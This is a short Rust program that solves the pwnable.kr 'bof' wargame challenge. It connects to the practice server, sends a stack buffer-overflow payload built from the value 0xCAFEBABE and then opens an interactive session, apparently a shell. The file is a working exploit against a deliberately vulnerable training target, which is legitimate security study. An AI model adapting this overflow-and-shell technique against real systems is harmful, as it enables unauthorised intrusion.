pwnable_kr_bof/pwnable_kr_bof.rs
1use std::net::TcpStream;
2
3use pwn_helper::{
4 bytes::{multiply_bytes, pack},
5 io::{PwnIoInteractive, PwnIoWrite},
6};
7
8fn main() {
9 let mut remote = TcpStream::connect("pwnable.kr:9000").unwrap();
10
11 remote
12 .send_line(&multiply_bytes(pack!(0xCAFEBABE, 32), 0xe))
13 .unwrap();
14 remote.interactive().unwrap();
15}